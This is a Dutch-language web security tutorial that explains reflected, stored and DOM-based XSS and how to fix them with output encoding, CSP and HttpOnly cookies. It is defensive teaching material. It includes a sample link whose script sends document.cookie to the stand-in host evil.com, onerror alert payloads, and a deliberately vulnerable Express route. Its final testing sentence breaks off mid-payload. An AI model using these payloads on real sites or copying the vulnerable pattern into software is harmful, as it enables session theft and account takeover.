arrow_backTerug naar veldaantekeningen
WEB SECURITY Gepubliceerd 9 Aug 2026

Cross-Site Scripting: Waarom XSS in 2024 nog steeds bijt

Een praktische uitleg van reflected, stored en DOM-based XSS, hoe aanvallers ze exploiteren, en hoe je ze werkelijk stopt.

XSS staat al twee decennia op de OWASP Top 10 en het is nog steeds een van de eerste dingen die een pentester controleert. De bug is eenvoudig uit te leggen en lastig volledig dicht te maken: een aanvaller krijgt zijn JavaScript in de browser van een slachtoffer onder de origin van jouw site uit te voeren. Zodra dat gebeurt, kan hij cookies lezen, verzoeken vervalsen of de pagina gewoon voor de gebruiker herschrijven.

De drie varianten

Reflected XSS is de klassieke phishing-link aanval. Een zoekpagina neemt ?q= uit de URL en print het direct in de HTML zonder encoding. Stuur iemand een link zoals https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> en als hij erop klikt terwijl ingelogd, gaat zijn sessiecookie naar de aanvaller.

Stored XSS is erger omdat het helemaal geen link nodig heeft. Een commentaarveld, een profielbio, een support ticket beschrijving — overal waar gebruikersinvoer wordt opgeslagen en later aan andere gebruikers wordt getoond. Post de payload eenmaal en elke bezoeker die die pagina bekijkt wordt getroffen, zonder social engineering.

DOM-based XSS leeft geheel in client-side code. De server ziet de schadelijke payload nooit; het is JavaScript dat iets leest zoals location.hash of document.referrer en het in innerHTML of eval() stopt. Deze variant veroorzaakt verwarring omdat server-side logging volledig schoon eruitziet.

Waar het werkelijk vandaan komt

De meeste XSS bugs komen neer op één fout: onvertrouwde data als vertrouwd markup of code behandelen. Veelvoorkomende sinks om op te letten in JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout met een string argument, en jQuery's .html(). Aan de server-kant zijn template engines die standaard niet auto-escapen (ruwe string aaneenschakeling in HTML) de gebruikelijke schuldige.

Een snel praktijkvoorbeeld: een Node/Express app die

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

heeft een onmiddellijke reflected XSS. req.query.name gaat recht naar het antwoord zonder enige encoding. Iedereen die /greet?name=<img src=x onerror=alert(document.domain)> aanroept bewijst het in ongeveer twee seconden.

Het werkelijk repareren

Context-aware output encoding is de echte fix, geen workaround. HTML body, HTML attribute, JavaScript string en URL contexten hebben elk verschillende encoding regels nodig — een library zoals OWASP's Java Encoder, of ingebouwde auto-escaping in template engines zoals Jinja2, React JSX of Handlebars, handelt dit correct af. React escaped tekstinhoud standaard, daarom heet dangerouslySetInnerHTML zoals het heet: het is een waarschuwingslabel.

Input validatie helpt maar is op zichzelf niet voldoende. Denylisting van <script> tags wordt constant omzeild — <img src=x onerror=...>, <svg onload=...>, of event handlers op vrijwel elke tag werken allemaal. Allowlisting van verwachte formaten (een email regex, een numerieke ID) is prima als secundaire laag, maar het vervangt niet de juiste output encoding.

Content-Security-Policy is de sterkste beschikbare defense-in-depth laag. Een policy zoals

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

blokkert inline scripts en derde-party scriptbronnen tenzij expliciet genonce'd of allowlisted, wat de meeste XSS payloads stopt van uitvoering zelfs als ze encoding passeren. Vermijd unsafe-inline en unsafe-eval in production CSPs; ze verslaan het meeste van de bescherming.

Stel cookies in met HttpOnly en Secure flags zodat zelfs een geslaagde XSS het sessiecookie niet rechtstreeks via document.cookie kan lezen. Het stopt de injectie niet maar beperkt de schadezone aanzienlijk.

Zelf op testen

Burp Suite's active scanner vangt veel reflected en stored XSS automatisch, maar handmatig testen is nog steeds belangrijk voor DOM-based cases. Tools zoals DOMPurify's eigen test suite of gewoon grep over je codebase naar innerHTML = en eval( zullen snel een verbazingwekkend aantal bevindingen oppervlakken. Voor een handmatige probe is de payload `

Geschreven met AI-ondersteuning, herzien en gepubliceerd door Michal Pilch (CISSP), Korra Studio.

Klaar om verder te gaan?

Dit is één aantekening uit de kennisbasis van Korra Studio — het platform koppelt elk onderwerp aan 1-op-1 mentoring.

Gratis beginnenarrow_forward